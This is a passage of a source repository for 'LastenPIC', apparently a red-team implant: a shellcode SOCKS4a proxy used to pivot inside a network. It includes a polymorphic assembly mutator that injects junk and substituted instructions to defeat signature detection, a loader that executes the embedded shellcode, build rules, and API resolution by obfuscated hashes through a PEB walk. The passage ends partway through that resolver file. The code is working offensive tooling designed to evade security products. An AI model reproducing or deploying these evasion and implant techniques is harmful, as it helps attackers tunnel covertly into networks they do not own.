├── LastenPIC ├── SpiderPIC │ ├── go.mod │ ├── go.sum │ ├── main.go │ └── src │ │ ├── misc.go │ │ ├── random.go │ │ ├── registers.go │ │ ├── substitutions.go │ │ ├── trash.go │ │ └── uselessInstructions.go ├── helpers │ └── convertToHex.py ├── loader │ ├── loader.cpp │ └── loader.h.prefix ├── makefile └── src │ ├── ApiResolve.c │ ├── ApiResolve.h │ ├── Core.c │ ├── Core.h │ ├── Defines.h │ ├── Main.c │ ├── Misc.h │ ├── Socks4.c │ ├── Socks4.h │ ├── WS.c │ ├── WS.h │ ├── chkstk_ms.asm │ ├── entry.asm │ └── linker.ld ├── README.md └── Server ├── LICENSE ├── README.md ├── cmd ├── client.go ├── common.go ├── root.go └── server.go ├── go.mod ├── go.sum ├── lib ├── component │ ├── doc.go │ └── server │ │ ├── http.go │ │ ├── server.go │ │ ├── socks5.go │ │ └── standard.go ├── config │ ├── communication.go │ ├── config.go │ └── direction.go ├── doc.go ├── gate │ └── gate.go ├── kommando │ └── kommando.go ├── ladung │ └── packet.go ├── laeufer │ ├── conn_pool.go │ ├── dial.go │ ├── errors.go │ ├── http │ │ ├── http.go │ │ └── http_conn.go │ ├── laeufer.go │ ├── tcp │ │ └── tcp.go │ └── websocket │ │ ├── websocket.go │ │ └── ws_conn.go ├── protocol │ ├── binary.go │ ├── json.go │ ├── protocol.go │ └── sessionid.go ├── talje.go └── utils │ └── utils.go └── main.go /LastenPIC/SpiderPIC/go.mod: -------------------------------------------------------------------------------- 1 | module SpiderPIC 2 | 3 | go 1.17 4 | 5 | require github.com/fatih/color v1.13.0 6 | 7 | require ( 8 | github.com/mattn/go-colorable v0.1.9 // indirect 9 | github.com/mattn/go-isatty v0.0.14 // indirect 10 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c // indirect 11 | ) 12 | -------------------------------------------------------------------------------- /LastenPIC/SpiderPIC/go.sum: -------------------------------------------------------------------------------- 1 | github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= 2 | github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= 3 | github.com/mattn/go-colorable v0.1.9 h1:sqDoxXbdeALODt0DAeJCVp38ps9ZogZEAXjus69YV3U= 4 | github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= 5 | github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= 6 | github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y= 7 | github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= 8 | golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 9 | golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 10 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c h1:F1jZWGFhYfh0Ci55sIpILtKKK8p3i2/krTr0H1rg74I= 11 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 12 | -------------------------------------------------------------------------------- /LastenPIC/SpiderPIC/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | 5 | "bufio" 6 | b64 "encoding/base64" 7 | "flag" 8 | "fmt" 9 | "math/rand" 10 | "os" 11 | "strings" 12 | "time" 13 | 14 | spiderPIC "SpiderPIC/src" 15 | 16 | ) 17 | 18 | func main() { 19 | 20 | fName := flag.String("asm", "", "Assembly file") 21 | fNameOut := flag.String("o", "", "Outputfile") 22 | disphelp := flag.Bool("help", false, "display this message") 23 | silent := flag.Bool("silent", false, "do not diplay logo and stuff") 24 | polyfactor := flag.Int("pf", 1, "Polymorphism factor [1-10]") 25 | flag.Parse() 26 | 27 | if len(os.Args) < 2 || *disphelp { 28 | help() 29 | } 30 | 31 | if *silent == false { 32 | logo() 33 | } 34 | 35 | file, err := os.Open(*fName) 36 | if err != nil { 37 | spiderPIC.LogFatal(err.Error()) 38 | } 39 | 40 | defer file.Close() 41 | 42 | rand.Seed(time.Now().UTC().UnixNano()) 43 | 44 | spiderPIC.LogInfo("Parsing file ... ") 45 | scanner := bufio.NewScanner(file) 46 | output := "" 47 | for scanner.Scan() { 48 | 49 | line := strings.TrimSpace(scanner.Text()) 50 | if strings.HasPrefix(line, ".") || strings.HasSuffix(line, ":") { 51 | if *silent == false { 52 | spiderPIC.LogInfo("Ignoring: %s", line) 53 | } 54 | 55 | output += scanner.Text() + "\n" 56 | continue 57 | } 58 | 59 | components := strings.Split(line, "\t") 60 | if len(components) == 0 { 61 | output += scanner.Text() + "\n" 62 | continue 63 | } 64 | 65 | if spiderPIC.RoleDice(*polyfactor){ /* Randomly decide if this line should be mutated */ 66 | 67 | substition := spiderPIC.SubstituteInstruction(components) /* Prefering substition */ 68 | if substition != "" { 69 | output += substition 70 | } else { 71 | 72 | switch rand.Intn(2) { 73 | case 0: 74 | output += spiderPIC.RandomInstructions() 75 | case 1: 76 | output += spiderPIC.Trash() 77 | } 78 | 79 | output += scanner.Text() + "\n" 80 | 81 | } 82 | } else { 83 | output += scanner.Text() + "\n" 84 | } 85 | } 86 | 87 | outFile, err := os.Create(*fNameOut) 88 | if err != nil { 89 | spiderPIC.LogFatal(err.Error()) 90 | os.Exit(1) 91 | } 92 | 93 | defer outFile.Close() 94 | 95 | outFile.WriteString(output) 96 | spiderPIC.LogSuccess("Done") 97 | spiderPIC.LogSuccess("Check: " + *fNameOut) 98 | 99 | } 100 | 101 | func help() { 102 | 103 | flag.PrintDefaults() 104 | os.Exit(1) 105 | 106 | } 107 | 108 | func logo() { 109 | 110 | logoB64 := "CgogICBfX19fXyAgICAgICBfICAgICBfICAgICAgICAgIF9fX19fXyBfX19fXyBfX19fXyAKICAvICBfX198ICAgICAoXykgICB8IHwgICAgICAgICB8IF9fXyBcXyAgIF8vICBfXyBcCiAgXCBgLS0uIF8gX18gIF8gIF9ffCB8IF9fXyBfIF9ffCB8Xy8gLyB8IHwgfCAvICBcLwogICBgLS0uIFwgJ18gXHwgfC8gX2AgfC8gXyBcICdfX3wgIF9fLyAgfCB8IHwgfCAgICAKICAvXF9fLyAvIHxfKSB8IHwgKF98IHwgIF9fLyB8ICB8IHwgICAgX3wgfF98IFxfXy9cCiAgXF9fX18vfCAuX18vfF98XF9fLF98XF9fX3xffCAgXF98ICAgIFxfX18vIFxfX19fLwogICAgICAgIHwgfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICB8X3wgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCgoK" 111 | logoDec, _ := b64.StdEncoding.DecodeString(logoB64) 112 | 113 | fmt.Print(string(logoDec)) 114 | 115 | } 116 | 117 | 118 | -------------------------------------------------------------------------------- /LastenPIC/SpiderPIC/src/misc.go: -------------------------------------------------------------------------------- 1 | package SpiderPIC 2 | 3 | import ( 4 | "fmt" 5 | "github.com/fatih/color" 6 | ) 7 | 8 | func LogFatal(f string, v ...interface{}){ 9 | red := color.New(color.Bold, color.FgRed).PrintfFunc() 10 | red("[*] ") 11 | fmt.Printf(f+"\n", v...) 12 | } 13 | 14 | func LogInfo(f string, v ...interface{}){ 15 | yellow := color.New(color.Bold, color.FgYellow).PrintfFunc() 16 | yellow("[*] ") 17 | fmt.Printf(f+"\n", v...) 18 | } 19 | 20 | func LogSuccess(f string, v ...interface{}){ 21 | green := color.New(color.Bold, color.FgGreen).PrintfFunc() 22 | green("[*] ") 23 | fmt.Printf(f+"\n", v...) 24 | } 25 | -------------------------------------------------------------------------------- /LastenPIC/SpiderPIC/src/random.go: -------------------------------------------------------------------------------- 1 | package SpiderPIC 2 | 3 | import ( 4 | "math/rand" 5 | "strings" 6 | "strconv" 7 | ) 8 | 9 | var letterRunes = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") 10 | 11 | func RoleDice(r int) bool { 12 | 13 | if r >= rand.Intn(r * 10) % 10{ 14 | return true 15 | } 16 | 17 | return false 18 | 19 | } 20 | 21 | func RandomValues (inst string) string { 22 | 23 | randomRegister := RandomRegister() 24 | randomByte := rand.Intn(255) 25 | randomString := randStringRunes(10) 26 | 27 | inst = strings.ReplaceAll(inst, "[REG]", randomRegister) 28 | inst = strings.ReplaceAll(inst, "[REG1]", randomRegister) 29 | inst = strings.ReplaceAll(inst, "[NUM]", strconv.Itoa(randomByte)) 30 | inst = strings.ReplaceAll(inst, "[STR]", randomString) 31 | 32 | return inst 33 | 34 | } 35 | 36 | func randomLabel() string { 37 | return randStringRunes(10) 38 | } 39 | 40 | func randStringRunes(n int) string { 41 | b := make([]rune, n) 42 | for i := range b { 43 | b[i] = letterRunes[rand.Intn(len(letterRunes))] 44 | } 45 | return string(b) 46 | } 47 | 48 | -------------------------------------------------------------------------------- /LastenPIC/SpiderPIC/src/registers.go: -------------------------------------------------------------------------------- 1 | package SpiderPIC 2 | 3 | import "math/rand" 4 | 5 | func RandomRegister() string { 6 | return registers[rand.Intn(len(registers))] 7 | } 8 | 9 | var registers = []string{ 10 | "rax", 11 | "rcx", 12 | "rdx", 13 | "rbx", 14 | "rsi", 15 | "rdi", 16 | "r8", 17 | "r9", 18 | "r10", 19 | "r11", 20 | "r12", 21 | "r13", 22 | "r14", 23 | "r15", 24 | } 25 | 26 | func IsRegister(str string) bool { 27 | 28 | for _, b := range registers { 29 | if b == str { 30 | return true 31 | } 32 | } 33 | 34 | return false 35 | 36 | } 37 | -------------------------------------------------------------------------------- /LastenPIC/SpiderPIC/src/substitutions.go: -------------------------------------------------------------------------------- 1 | package SpiderPIC 2 | 3 | import ( 4 | "math/rand" 5 | "strings" 6 | ) 7 | 8 | var substitutionsPush = [...]string{ 9 | "\tsub rsp, 8\n\tmov [rsp], [REG]\n", 10 | "\tmov [rsp - 8], [REG]\n\tsub rsp, 8\n", 11 | } 12 | 13 | var substitutionsPop = [...]string{ 14 | "\tmov [REG], [rsp]\n\tadd rsp, 8\n", 15 | "\tadd rsp, 8\n\tmov [REG], [rsp-8]\n", 16 | } 17 | 18 | var substitutionsJmp = [...]string{ 19 | "\tpush [WHAT]\n\tret\n", 20 | } 21 | 22 | var substitutionsMov = [...]string{ 23 | "\tpush [REG]\n\tpop [REG1]\n", 24 | } 25 | 26 | func substitutePush(line []string) string { 27 | LogInfo("Substituting Push") 28 | substitution := substitutionsPush[rand.Intn(len(substitutionsPush))] 29 | return strings.ReplaceAll(substitution, "[REG]", line[1]) 30 | } 31 | 32 | func substitutePop(line []string) string { 33 | LogInfo("Substituting Pop") 34 | substitution := substitutionsPop[rand.Intn(len(substitutionsPop))] 35 | return strings.ReplaceAll(substitution, "[REG]", line[1]) 36 | } 37 | 38 | func substituteJmp(line []string) string { 39 | 40 | if len(strings.Split(line[1], " ")) > 2 || !IsRegister(line[1]) { 41 | return "" 42 | } 43 | 44 | LogInfo("Substituting Jmp") 45 | substitution := substitutionsJmp[rand.Intn(len(substitutionsJmp))] 46 | 47 | substitution = strings.ReplaceAll(substitution, "[WHAT]", line[1]) 48 | 49 | return strings.ReplaceAll(substitution, "[WHAT]", line[1]) 50 | 51 | } 52 | 53 | func substituteMov(line []string) string { 54 | 55 | if len(strings.Split(line[1], " ")) > 2 { 56 | return "" 57 | } 58 | 59 | LogInfo("Substituting Mov") 60 | 61 | regs := strings.Split(line[1], ",") 62 | regA := strings.TrimSpace(regs[0]) 63 | regB := strings.TrimSpace(regs[1]) 64 | 65 | if !IsRegister(regA) || !IsRegister(regB) { 66 | return "" 67 | } 68 | 69 | substitution := substitutionsMov[rand.Intn(len(substitutionsMov))] 70 | substitution = strings.ReplaceAll(substitution, "[REG]", regB) 71 | substitution = strings.ReplaceAll(substitution, "[REG1]", regA) 72 | 73 | return substitution 74 | 75 | } 76 | 77 | func SubstituteInstruction(line []string) string { 78 | 79 | switch line[0] { 80 | case "push": 81 | return substitutePush(line) 82 | case "pop": 83 | return substitutePop(line) 84 | case "jmp": 85 | return substituteJmp(line) 86 | case "mov": 87 | return substituteMov(line) 88 | } 89 | 90 | return "" 91 | 92 | } 93 | -------------------------------------------------------------------------------- /LastenPIC/SpiderPIC/src/trash.go: -------------------------------------------------------------------------------- 1 | package SpiderPIC 2 | 3 | import ( 4 | "math/rand" 5 | "strings" 6 | ) 7 | 8 | var jumpOvers = [...]string { 9 | "\tjmp [LABEL]\n[BLOB]\t[LABEL]:\n", 10 | } 11 | 12 | var trashInstructions = [...]string { 13 | "\tpush [REG]\n", 14 | "\tpop [REG]\n", 15 | "\tmov [REG], [REG1]\n", 16 | "\tinc [REG]\n", 17 | "\tdec [REG]\n", 18 | "\txor [REG], [REG1]\n", 19 | "\tmov [REG], [NUM]\n", 20 | "\tadd [REG], [NUM]\n", 21 | "\tsub [REG], [NUM]\n", 22 | "\tneg [REG]\n", 23 | "\tcdq\n", 24 | } 25 | 26 | func Trash() string { 27 | 28 | blob := "" 29 | num := rand.Intn(6) + 4 30 | 31 | LogInfo("Adding %d trashinstructions", num) 32 | 33 | for i:= 0; i < num; i++ { 34 | 35 | inst := trashInstructions[rand.Intn(len(trashInstructions))] 36 | inst = RandomValues(inst) 37 | 38 | blob += inst 39 | 40 | } 41 | 42 | trash := strings.ReplaceAll(jumpOvers[rand.Intn(len(jumpOvers))], "[LABEL]", randomLabel()) 43 | trash = strings.ReplaceAll(trash, "[BLOB]", blob) 44 | 45 | _, randomSimpleInstructions := RandomSimpleInstructions() 46 | trash = strings.ReplaceAll(trash, "[MORE]", randomSimpleInstructions) 47 | 48 | return trash 49 | 50 | } 51 | -------------------------------------------------------------------------------- /LastenPIC/SpiderPIC/src/uselessInstructions.go: -------------------------------------------------------------------------------- 1 | package SpiderPIC 2 | 3 | import ( 4 | "math/rand" 5 | ) 6 | 7 | var uselessInst = [...]string{ 8 | "\tnop\n", 9 | "\txchg [REG], [REG]\n", 10 | "\tcmova [REG], [REG]\n", 11 | "\tcmovb [REG], [REG]\n", 12 | "\tcmovc [REG], [REG]\n", 13 | "\tcmove [REG], [REG]\n", 14 | "\tcmovg [REG], [REG]\n", 15 | "\tcmovl [REG], [REG]\n", 16 | "\tpush [REG]\n\tpop [REG]\n", 17 | } 18 | 19 | func RandomSimpleInstructions() (int, string) { 20 | 21 | uselessInstructions := "" 22 | n := rand.Intn(6) + 1 23 | 24 | for i := 0; i <= n; i++ { 25 | 26 | randomSimpleInstruction := uselessInst[rand.Intn(len(uselessInst))] 27 | randomSimpleInstruction = RandomValues(randomSimpleInstruction) 28 | 29 | uselessInstructions += randomSimpleInstruction 30 | 31 | } 32 | 33 | return n, uselessInstructions 34 | 35 | } 36 | 37 | func RandomInstructions() string { 38 | 39 | n, ret := RandomSimpleInstructions() 40 | LogInfo("Adding %d useless instructions", n) 41 | 42 | return ret 43 | 44 | } 45 | -------------------------------------------------------------------------------- /LastenPIC/helpers/convertToHex.py: -------------------------------------------------------------------------------- 1 | cHex = "" 2 | for b in open("bin/LastenPIC.bin", "rb").read(): 3 | cHex += "0x" + hex(b)[2:] + "," 4 | 5 | cHex = cHex[:-1] 6 | 7 | chex = ("{" + cHex+ "}") 8 | 9 | print(chex) 10 | 11 | -------------------------------------------------------------------------------- /LastenPIC/loader/loader.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "stdint.h" 3 | #include "windows.h" 4 | 5 | #include "loader.h" 6 | 7 | void args(PWSTR*, PDWORD, PWSTR*, PWSTR*, PWSTR*, PWSTR*, int, wchar_t **); 8 | void help(wchar_t**); 9 | 10 | int wmain( int argc, wchar_t *argv[], wchar_t *envp[] ) { 11 | 12 | PWSTR server = NULL, path = NULL, proxy = NULL, proxyuser = NULL, proxypassword = NULL; 13 | DWORD dwPort = 0, dwSuccess = 0; 14 | 15 | args( &server, &dwPort, &path, &proxy, &proxyuser, &proxypassword, argc, argv ); 16 | 17 | wprintf(L"* Lastenzug - PIC Socks4a proxy by @invist and @theflinkk of @codewhitesec\n"); 18 | wprintf(L"! This is a sample loader for Lastenzug\n"); 19 | wprintf(L"! Using unsigned exe is not recommended\n"); 20 | 21 | wprintf(L"+ Args parsed:\n"); 22 | wprintf(L"*\tServer: %S\n", server); 23 | wprintf(L"*\tPort: %d\n", dwPort); 24 | wprintf(L"*\tPath: %S\n", path); 25 | wprintf(L"*\tProxy: %S\n", proxy); 26 | wprintf(L"*\tProxyuser: %S\n", proxyuser); 27 | wprintf(L"*\tProxypassword: %S\n", proxypassword); 28 | wprintf(L"* Now executing embedded PIC ... \n"); 29 | 30 | dwSuccess = ( ( LASTENZUG* )lastenzug )( server, path, dwPort, proxy, proxyuser, proxypassword ); 31 | 32 | wprintf(L"* Lastenzug returned: %d\n", dwSuccess); 33 | 34 | cleanup: 35 | 36 | return 0; 37 | 38 | } 39 | 40 | void 41 | args( PWSTR* pServer, PDWORD pdwPort, PWSTR* pPath, PWSTR* pProxy, PWSTR* pProxyUser, PWSTR* pProxyPassword, int argc, wchar_t **argv ){ 42 | 43 | if (argc < 4) 44 | help(argv); 45 | 46 | for (int i = 1; i < argc; i++) { 47 | 48 | if (!lstrcmpW(argv[i], L"--server")) 49 | *pServer = argv[i + 1]; 50 | 51 | if (!lstrcmpW(argv[i], L"--port")) 52 | *pdwPort = _wtoi(argv[i + 1]); 53 | 54 | if (!lstrcmpW(argv[i], L"--path")) 55 | *pPath = argv[i + 1]; 56 | 57 | if (!lstrcmpW(argv[i], L"--proxy")) 58 | *pProxy = argv[i + 1]; 59 | 60 | if (!lstrcmpW(argv[i], L"--proxyuser")) 61 | *pProxyUser = argv[i + 1]; 62 | 63 | if (!lstrcmpW(argv[i], L"--proxypassword")) 64 | *pProxyPassword = argv[i + 1]; 65 | 66 | } 67 | 68 | } 69 | 70 | void 71 | help(wchar_t** argv) { 72 | 73 | wprintf(L"%S --server [domain/ip] --port [port] --path [path registered to handle socks] --proxy http://proxy:8080 --proxyuser domain\\user --proxypassword Sommer2022\n", argv[0]); 74 | exit(0); 75 | 76 | } -------------------------------------------------------------------------------- /LastenPIC/loader/loader.h.prefix: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "windows.h" 4 | #include 5 | 6 | typedef DWORD(LASTENZUG)(PWSTR, PWSTR, DWORD, PWSTR, PWSTR, PWSTR); 7 | __attribute__((section(".text"))) unsigned char lastenzug[] = 8 | -------------------------------------------------------------------------------- /LastenPIC/makefile: -------------------------------------------------------------------------------- 1 | CC := x86_64-w64-mingw32-gcc 2 | CXX := x86_64-w64-mingw32-g++ 3 | LD := x86_64-w64-mingw32-ld 4 | CFLAGS := -Wall -m64 -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 -masm=intel 5 | CFLAGS_ASM := -Wall -m64 -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 -S -masm=intel 6 | CCLDFLAGS := -Wl,-Tsrc/linker.ld,--no-seh -DC2 7 | 8 | S_SRCS := src/entry.asm src/chkstk_ms.asm 9 | C_SRCS := src/ApiResolve.c src/Core.c src/Main.c src/Socks4.c src/WS.c 10 | 11 | S_OBJS := $(patsubst src/%.asm,%.o,$(S_SRCS)) $(patsubst src/%.c,%.s,$(C_SRCS)) 12 | OBJS := $(patsubst src/%.asm,%.o,$(S_SRCS)) $(patsubst src/%.c,%.o,$(C_SRCS)) 13 | 14 | all: SpiderPIC/SpiderPIC bin/LastenPIC.exe bin/LastenPIC.bin bin/LastenLoader.exe 15 | 16 | SpiderPIC/SpiderPIC: 17 | /bin/bash -c "cd SpiderPIC && go build -o SpiderPIC" 18 | 19 | bin/LastenPIC.exe: $(S_OBJS) $(OBJS) 20 | mkdir -p $(@D) 21 | $(LD) -s $(OBJS) -o $@ 22 | 23 | bin/LastenPIC.bin: bin/LastenPIC.exe 24 | objcopy -j .text -O binary $< $@ 25 | rm bin/LastenPIC.exe 26 | 27 | loader/loader.h: loader/loader.h.prefix bin/LastenPIC.bin 28 | ( \ 29 | set -e; \ 30 | cat loader/loader.h.prefix; \ 31 | python3 helpers/convertToHex.py | xargs -i echo '{}';\ 32 | echo ';' \ 33 | ) > $@.t 34 | mv $@.t $@ 35 | 36 | bin/LastenLoader.exe: loader/loader.cpp loader/loader.h 37 | mkdir -p $(@D) 38 | $(CXX) -s -o $@ $< -municode 39 | 40 | %.o: src/%.asm 41 | nasm -f win64 $< -o $@ 42 | 43 | %.s: src/%.c 44 | $(CC) $< $(CFLAGS_ASM) -c -o $@ $(CCLDFLAGS) 45 | SpiderPIC/SpiderPIC -asm $@ -o $@ 46 | 47 | %.o: %.s 48 | $(CC) $< $(CFLAGS) -c -o $@ $(CCLDFLAGS) 49 | 50 | .PHONY: clean 51 | clean: 52 | rm -rf $(OBJS) $(S_OBJS)\ 53 | bin/LastenPIC.exe bin/LastenPIC.bin loader/loader.h bin/LastenLoader.exe 54 | 55 | -------------------------------------------------------------------------------- /LastenPIC/src/ApiResolve.c: -------------------------------------------------------------------------------- 1 | #include "ApiResolve.h" 2 | 3 | static uint64_t getDllBase(unsigned long); 4 | static uint64_t loadDll(unsigned long); 5 | static uint64_t loadDll_byName(char*); 6 | static uint64_t parseHdrForPtr(uint64_t, unsigned long); 7 | static uint64_t followExport(char*, unsigned long); 8 | 9 | static unsigned long djb2(unsigned char*); 10 | static unsigned long unicode_djb2(const wchar_t* str); 11 | static unsigned long xor_hash(unsigned long); 12 | static WCHAR* toLower(WCHAR* str); 13 | 14 | uint64_t 15 | getFunctionPtr(unsigned long crypted_dll_hash, unsigned long crypted_function_hash) { 16 | 17 | uint64_t dll_base = 0x00; 18 | uint64_t ptr_function = 0x00; 19 | 20 | dll_base = getDllBase(crypted_dll_hash); 21 | if (dll_base == 0) { 22 | dll_base = loadDll(crypted_dll_hash); 23 | if (dll_base == 0) 24 | return FAIL; 25 | } 26 | 27 | ptr_function = parseHdrForPtr(dll_base, crypted_function_hash); 28 | 29 | return ptr_function; 30 | } 31 | 32 | static uint64_t 33 | loadDll(unsigned long crypted_dll_hash) { 34 | 35 | uint64_t kernel32_base = 0x00; 36 | uint64_t fptr_loadLibary = 0x00; 37 | uint64_t ptr_loaded_dll = 0x00; 38 | 39 | kernel32_base = getDllBase(CRYPTED_HASH_KERNEL32); 40 | if (kernel32_base == 0x00) 41 | return FAIL; 42 | 43 | fptr_loadLibary = parseHdrForPtr(kernel32_base, CRYPTED_HASH_LOADLIBRARYA); 44 | if (fptr_loadLibary == 0x00) 45 | return FAIL; 46 | 47 | if (crypted_dll_hash == CRYPTED_HASH_SHLWAPI) { 48 | char dll_name[] = { 'S', 'h', 'l', 'w', 'a', 'p', 'i', '.', 'd','l','l',0x00 }; 49 | ptr_loaded_dll = (uint64_t)((LOADLIBRARYA)fptr_loadLibary)(dll_name); 50 | } else if (crypted_dll_hash == CRYPTED_HASH_WS32) { 51 | char _dll_name[] = { 'W','s','2','_','3','2','.','d','l','l', 0x00, 0x00 }; 52 | ptr_loaded_dll = (uint64_t)((LOADLIBRARYA)fptr_loadLibary)(_dll_name); 53 | } else if (crypted_dll_hash == CRYPTED_HASH_WINHTTP) { 54 | char _dll_name[] = { 'w', 'i','n','h','t','t','p', '.','d','l','l', 0x00, 0x00 }; 55 | ptr_loaded_dll = (uint64_t)((LOADLIBRARYA)fptr_loadLibary)(_dll_name); 56 | } else if (crypted_dll_hash == CRYPTED_HASH_DNSAPI) { 57 | char _dll_name[] = { 'D','n','s','a','p','i','.','d','l','l', 0x00, 0x00 }; 58 | ptr_loaded_dll = (uint64_t)((LOADLIBRARYA)fptr_loadLibary)(_dll_name); 59 | } 60 | 61 | return ptr_loaded_dll; 62 | 63 | } 64 | 65 | static uint64_t 66 | parseHdrForPtr(uint64_t dll_base, unsigned long crypted_function_hash) { 67 | 68 | PIMAGE_NT_HEADERS nt_hdrs = NULL; 69 | PIMAGE_DATA_DIRECTORY data_dir= NULL; 70 | PIMAGE_EXPORT_DIRECTORY export_dir= NULL; 71 | 72 | uint32_t* ptr_exportadrtable = 0x00; 73 | uint32_t* ptr_namepointertable = 0x00; 74 | uint16_t* ptr_ordinaltable = 0x00; 75 | 76 | uint32_t idx_functions = 0x00; 77 | 78 | unsigned char* ptr_function_name = NULL; 79 | 80 | 81 | nt_hdrs = (PIMAGE_NT_HEADERS)(dll_base + (uint64_t)((PIMAGE_DOS_HEADER)(size_t)dll_base)->e_lfanew); 82 | data_dir = (PIMAGE_DATA_DIRECTORY)&nt_hdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 83 | export_dir = (PIMAGE_EXPORT_DIRECTORY)(dll_base + (uint64_t)data_dir->VirtualAddress); 84 | 85 | ptr_exportadrtable = (uint32_t*)(dll_base + (uint64_t)export_dir->AddressOfFunctions); 86 | ptr_namepointertable = (uint32_t*)(dll_base + (uint64_t)export_dir->AddressOfNames); 87 | ptr_ordinaltable = (uint16_t*)(dll_base + (uint64_t)export_dir->AddressOfNameOrdinals); 88 | 89 | for(idx_functions = 0; idx_functions < export_dir->NumberOfNames; idx_functions++){ 90 | 91 | ptr_function_name = (unsigned char*)dll_base + (ptr_namepointertable[idx_functions]); 92 | if (djb2(ptr_function_name) == xor_hash(crypted_function_hash)) { 93 | 94 | WORD nameord = ptr_ordinaltable[idx_functions]; 95 | DWORD rva = ptr_exportadrtable[nameord]; 96 | 97 | if (dll_base + rva >= dll_base + data_dir->VirtualAddress && dll_base + rva <= dll_base + data_dir->VirtualAddress + (uint64_t)data_dir->Size) { 98 | // This is a forwarded export 99 | 100 | char* ptr_forward = (char*)(dll_base + rva); 101 | return followExport(ptr_forward, crypted_function_hash); 102 | 103 | } 104 | 105 | 106 | return dll_base + rva; 107 | } 108 | 109 | } 110 | 111 | return FAIL; 112 | } 113 | 114 | 115 | static uint64_t 116 | followExport(char* ptr_forward, unsigned long crypted_function_hash) { 117 | 118 | STRSTRA _StrStrA = (STRSTRA)getFunctionPtr(CRYPTED_HASH_SHLWAPI, CRYPTED_HASH_STRSTRA); 119 | 120 | if (_StrStrA == 0x00) 121 | return FAIL; 122 | 123 | char del[] = { '.', 0x00 }; 124 | char* pos_del = 0x00; 125 | char forward_dll[MAX_PATH] = { 0 }; 126 | char forward_export[MAX_PATH] = { 0 }; 127 | unsigned long forward_export_hash = 0x00; 128 | uint8_t i = 0; 129 | uint64_t fwd_dll_base = 0x00, forwarded_export = 0x00; 130 | 131 | while (*ptr_forward) 132 | forward_dll[i++] = *ptr_forward++; 133 | 134 | pos_del = (char*)_StrStrA(forward_dll, del); 135 | if (pos_del == 0) 136 | return FAIL; 137 | 138 | *(char*)(pos_del++) = 0x00; 139 | i = 0; 140 | while (*pos_del) 141 | forward_export[i++] = *pos_del++; 142 | 143 | forward_export_hash = xor_hash(djb2((unsigned char*)forward_export)); 144 | 145 | fwd_dll_base = getDllBase(xor_hash(djb2((unsigned char*)forward_dll))); 146 | if (fwd_dll_base == 0x00) { 147 | fwd_dll_base = loadDll_byName(forward_dll); 148 | if (fwd_dll_base == 0x00) 149 | return FAIL; 150 | } 151 | 152 | forwarded_export = parseHdrForPtr(fwd_dll_base, forward_export_hash); 153 | 154 | return forwarded_export; 155 | 156 | } 157 | 158 | static uint64_t 159 | loadDll_byName(char* dll_name) { 160 | 161 | uint64_t kernel32_base = 0x00; 162 | uint64_t fptr_loadLibary = 0x00; 163 | uint64_t ptr_loaded_dll = 0x00; 164 | 165 | kernel32_base = getDllBase(CRYPTED_HASH_KERNEL32); 166 | if (kernel32_base == 0x00) 167 | return FAIL; 168 | 169 | fptr_loadLibary = parseHdrForPtr(kernel32_base, CRYPTED_HASH_LOADLIBRARYA); 170 | if (fptr_loadLibary == 0x00) 171 | return FAIL; 172 | 173 | ptr_loaded_dll = (uint64_t)((LOADLIBRARYA)fptr_loadLibary)(dll_name); 174 | 175 | return ptr_loaded_dll; 176 | 177 | } 178 | 179 | 180 | static uint64_t 181 | getDllBase(unsigned long crypted_dll_hash) { 182 | 183 | _PPEB ptr_peb = NULL; 184 | PPEB_LDR_DATA ptr_ldr_data = NULL; 185 | PLDR_DATA_TABLE_ENTRY ptr_module_entry = NULL, ptr_start_module = NULL; 186 | PUNICODE_STR dll_name = NULL; 187 | 188 | ptr_peb = (_PEB*)__readgsqword(0x60); 189 | ptr_ldr_data = ptr_peb->pLdr; 190 | ptr_module_entry = ptr_start_module = (PLDR_DATA_TABLE_ENTRY)ptr_ldr_data->InMemoryOrderModuleList.Flink; 191 | 192 | do{ 193 | 194 | dll_name = &ptr_module_entry->BaseDllName; 195 | 196 | if (dll_name->pBuffer == NULL) 197 | return FAIL; 198 | 199 | if (unicode_djb2(toLower(dll_name->pBuffer)) == xor_hash(crypted_dll_hash)) 200 | return (uint64_t)ptr_module_entry->DllBase; 201 | 202 | ptr_module_entry = (PLDR_DATA_TABLE_ENTRY)ptr_module_entry->InMemoryOrderModuleList.Flink; 203 | 204 | } while (ptr_module_entry != ptr_start_module); 205 | 206 | return FAIL; 207 | 208 | } 209 | 210 | static unsigned long 211 | djb2(unsigned char* str) 212 | { 213 | unsigned long hash = 5381; 214 | int c; 215 | 216 | while ((c = *str++)) 217 | hash = ((hash << 5) + hash) + c; 218 | 219 | return hash; 220 | } 221 | 222 